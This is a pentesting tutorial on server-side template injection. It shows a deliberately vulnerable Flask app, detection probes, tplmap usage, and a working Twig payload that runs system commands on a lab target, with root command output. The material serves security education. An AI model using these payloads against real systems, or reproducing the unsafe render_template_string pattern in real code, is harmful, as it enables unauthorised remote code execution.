SSTI Injections Identification During Pentesting Web Applications (with exploitation example)
Let’s understand what is Template Engines First?
Template engines read tokenized strings from template documents and produce rendered strings with actual values in the output document. Templates are commonly used as an intermediary format by web developers to create dynamic website content. Server-Side Template Injection (SSTI
) is essentially injecting malicious template directives inside a template, leveraging Template Engines that insecurely mix user input with a given template.
Below you will find some applications that you can run locally to better understand templates. If you are unable to do so, do not worry. The following sections feature exercises with various applications utilizing templates.
Let us now consider the following documents:
app.py
Code: python
#/usr/bin/python3
from flask import *
app = Flask(__name__, template_folder="./")
@app.route("/")
def index():
title = "Index Page"
content = "Some content"
return render_template("index.html", title=title, content=content)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000)
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>{{title}}</h1>
<p>{{content}}</p>
</body>
</html>
When we visit the website, we will receive an HTML page containing the values of the title
and content
variables evaluated inside the double brackets on the template page. Pretty straightforward, and as we can see, the user does not have any control over the variables. What happens when user input enters a template without any validation, though?
app.py
Code: python
#/usr/bin/python3
from flask import *
app = Flask(__name__, template_folder="./")
@app.route("/")
def index():
title = "Index Page"
content = "Some content"
return render_template("index.html", title=title, content=content)
@app.route("/hello", methods=['GET'])
def hello():
name = request.args.get("name")
if name == None:
return redirect(f'{url_for("hello")}?name=guest')
htmldoc = f"""
<html>
<body>
<h1>Hello</h1>
<a>Nice to see you {name}</a>
</body>
</html>
"""
return render_template_string(htmldoc)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000)
In this case, we can inject a template expression directly, and the server will evaluate it. This is a security issue that could lead to remote code execution on the target application
cURL — Interacting with the Target
curl -gis 'http://127.0.0.1:5000/hello?name={{7*7}}'
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 79
Server: Werkzeug/2.0.2 Python/3.9.7
Date: Mon, 25 Oct 2021 00:12:40 GMT
<html>
<body>
<h1>Hello</h1>
<a>Nice to see you 49</a> # <-- Expresion evaluated
</body>
</html>
SSTI Identification
We can detect SSTI vulnerabilities by injecting different tags in the inputs we control to see if they are evaluated in the response. We don’t necessarily need to see the injected data reflected in the response we receive. Sometimes it is just evaluated on different pages (blind).
The easiest way to detect injections is to supply mathematical expressions in curly brackets, for example:
{7*7}
${7*7}
#{7*7}
%{7*7}
{{7*7}}
...
We will look for “49” in the response when injecting these payloads to identify that server-side evaluation occurred.
The most difficult way to identify SSTI is to fuzz the template by injecting combinations of special characters used in template expressions. These characters include ${{<%[%'"}}%\
. If an exception is caused, this means that we have some control over what the server interprets in terms of template expressions.
We can use tools such as Tplmap or J2EE Scan (Burp Pro) to automatically test for SSTI vulnerabilities or create a payload list to use with Burp Intruder or ZAP.
The diagram below from PortsSwigger can help us identify if we are dealing with an SSTI vulnerability and also identify the underlying template engine.
In addition to the above diagram, we can try the following approaches to recognize the technology we are dealing with:
- Check verbose errors for technology names. Sometimes just copying the error in Google search can provide us with a straight answer regarding the underlying technology used
- Check for extensions. For example, .jsp extensions are associated with Java. When dealing with Java, we may be facing an expression language/OGNL injection vulnerability instead of traditional SSTI
- Send expressions with unclosed curly brackets to see if verbose errors are generated. Do not try this approach on production systems, as you may crash the webserver.
SSTI Exploitation Example:
we are pentesting an internet-facing application
Let submit on the input field mathematical expressions in curly brackets, such as the ones mentioned on the SSTI Identification
section, starting with {7*7}
.
It doesn’t look like the application evaluated the submitted expression. Let us continue with another expression, ${7*7}
this time.
It doesn’t look like the application evaluated this expression either. What about {{7*7}}
?
This time, the application evaluated the latest mathematical expression we submitted and returned the result, 49. It looks like we may be dealing with an SSTI vulnerability!
As already mentioned, the first thing we need to do when dealing with SSTI vulnerabilities is to identify the template engine the application is utilizing. Let’s use PortSwigger’s diagram to assist us (shown in the previous section). We already know that the {{7*7}}
expression was evaluated successfully. The next expression the diagram suggests trying is {{7*'7'}}
. Let us try it and see how the application responds.
The application successfully evaluated this expression as well. According to PortSwigger’s diagram, we are dealing with either a Jinja2 or a Twig template engine.
There are template engine-specific payloads that we can use to determine which of the two is being utilized. Let us try with the below Twig-specific one:
{{_self.env.display("TEST")}}
The Twig-specific payload was evaluated successfully. A Twig template engine is being utilized on the backend. For an extensive list of template engine-specific payloads, please refer to the following resources:
We could have automated the template engine identification process we just executed through tplmap, as follows. If you didn’t notice, the user’s input is submitted via the name
parameter and through a POST request (hence the -d
parameter in tplmap
).
tplmap.py
[!bash!]$ git clone https://github.com/epinna/tplmap.git
[!bash!]$ cd tplmap
[!bash!]$ pip install virtualenv
[!bash!]$ virtualenv -p python2 venv
[!bash!]$ source venv/bin/activate
[!bash!]$ pip install -r requirements.txt
[!bash!]$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if POST parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
POST parameter: name
Engine: Twig
Injection: {{*}}
Context: text
OS: Linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, php code
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
The next step is to gain remote code execution on the target server. Before moving the payload part, it should be mentioned that Twig has a variable _self
, which, in simple terms, makes a few of the internal APIs public. This _self
object has been documented, so we don't need to brute force any variable names (more on that in the next SSTI exploitation examples). Back to the remote code execution part, we can use the getFilter
function as it allows execution of a user-defined function via the following process:
- Register a function as a filter callback via
registerUndefinedFilterCallback
- Invoke
_self.env.getFilter()
to execute the function we have just registered
Payload
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
Let’s submit the payload using cURL this time.
cURL — Interacting with the Target
[!bash!]$ curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}' http://<TARGET IP>:<PORT>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="css/default.css" media="screen"/>
<title>SSTI</title>
</head>
<body>
<div class="container">
<div class="main">
<div class="header">
<div class="title">
<h1>I'm here to say hello</h1>
</div>
</div>
<div class="content">
<a>
Who are you?
<form method='post' action=''>
<div class="form-group">
<input placeholder="Name" name="name" size=70></input> <button class="btn btn-default" type="submit" name='submit'>Send</button>
</div>
</form>
Hello uid=0(root) gid=0(root) groups=0(root)
Linux serversideattackssstitwig-60784-78bd58b5b-pmvvv 4.19.0-17-cloud-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
serversideattackssstitwig-60784-78bd58b5b-pmvvv
serversideattackssstitwig-60784-78bd58b5b-pmvvv!</a> </div>
<div class="clearer"><span></span></div>
</div>
<div class="footer">Break me!</div>
</div>
</body>
As we can see in the output/response above, the submitted payload was evaluated, and the specified commands (id
, uname -a
, and hostname
) were executed successfully.
Again, we could have automated the template engine exploitation process we just executed through tplmap, as follows.
tplmap.py — OS Shell
[!bash!]$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john --os-shell
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool[+] Testing if POST parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point: POST parameter: name
Engine: Twig
Injection: {{*}}
Context: text
OS: Linux
Technique: render
Capabilities: Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, php code[+] Run commands on the operating system.Linux $
We can now execute any command of our choosing through the shell tplmap
established for us!
Now, proceed to this section’s exercise and complete the objective either by crafting the payload yourself or through a shell obtained with the help of tplmap
.
Note: When we notice that the mathematical expressions we submit are evaluated, the application may be vulnerable to XSS as well.
Let us test the above statement by submitting an XSS payload inside curly brackets to this section’s exercise target. The result of doing so can be seen in the image below.